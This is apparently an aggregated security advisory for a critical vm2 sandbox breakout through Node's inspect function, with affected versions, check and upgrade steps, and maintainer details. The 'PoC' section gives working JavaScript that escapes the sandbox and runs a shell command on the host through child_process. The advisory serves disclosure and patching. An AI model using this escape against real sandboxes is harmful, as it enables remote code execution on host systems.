---
id: "CVE-2026-24781"
kind: "vulnerability"
aliases: ["CVE-2026-24781", "GHSA-v37h-5mfm-c47c"]
title: "VM2 Has Sandbox Breakout Through Inspect Function"
severity: "critical"
cvss: 9.8
epss: 0.01186
exploited: false
status: "open"
category: "package"
products: [{"name": "vm2", "fixed": ["3.11.0"], "affected": "< 3.11.0", "ecosystem": "npm"}, {"name": "vm2 project vm2", "fixed": ["3.11.0"], "affected": "< 3.11.0", "ecosystem": "vendor"}]
ecosystems: ["npm", "vendor"]
tags: ["cwe-653", "cwe-693", "cwe-94", "node", "package", "sandboxes", "user-supplied-code", "vm2"]
not_affected_if: ["fixed-version", "no-untrusted-code", "vm2-not-used"]
published_at: "2026-05-04T17:16:21+00:00"
first_seen_at: "2026-11-04T03:31:21+00:00"
updated_at: "2026-11-04T03:46:40+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-v37h-5mfm-c47c", "first_seen_at": "2026-11-04T03:31:21+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24781", "first_seen_at": "2026-11-04T03:46:40+00:00"}]
---

# VM2 Has Sandbox Breakout Through Inspect Function

vm2 is a Node.js library that runs untrusted code in a sandbox. A flaw in how the inspect function unwraps proxies lets sandboxed code reach the host object and run arbitrary commands on the host system.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:vm2 affected < 3.11.0 fixed 3.11.0
- vendor:vm2 project vm2 affected < 3.11.0 fixed 3.11.0

## How to check

- Check the installed vm2 version with `npm ls vm2` in each project and lockfile.
- Look for `vm2` in `package.json` dependencies, including transitive ones.
- Confirm whether the sandbox runs code that an attacker can influence, such as user-submitted scripts.

## Fix

- `vm2` `3.11.0`: upgrade to this version or later (affected: below `3.11.0`).

## Timeline

- 2026-11-04T03:31:21+00:00 ghsa https://github.com/advisories/GHSA-v37h-5mfm-c47c
- 2026-11-04T03:46:40+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-24781

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-v37h-5mfm-c47c
- [advisory] Maintainer's advisory: github.com https://github.com/patriksimek/vm2/security/advisories/GHSA-v37h-5mfm-c47c
- [fix] Patch: github.com https://github.com/patriksimek/vm2/commit/8d30d93213c1898b3e035298b89a814970dd1189
- [fix] Patch: github.com https://github.com/patriksimek/vm2/commit/bdd3d15e57bc4ec5e70365cd79f7cb0256e5f88c
- [fix] Patch: github.com https://github.com/patriksimek/vm2/commit/fd266d084e0a3322d0f71ba2a8dc4c96cd030228
- [fix] Release: github.com https://github.com/patriksimek/vm2/releases/tag/v3.11.0

## From the sources

### Summary

VM2 suffers from a sandbox breakout vulnerability through the `inspect` function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

### Details

The node `inspect` method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the `this.seen` of the `stylize` function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge.

### PoC

```js
const obj = {
	subarray: Buffer.prototype.inspect,
	slice: Buffer.prototype.slice,
	hexSlice:()=>'',
	l:{__proto__: null}
};

obj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) {
	if (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice;
	return a;
}});
obj.l.x.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
```

### Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_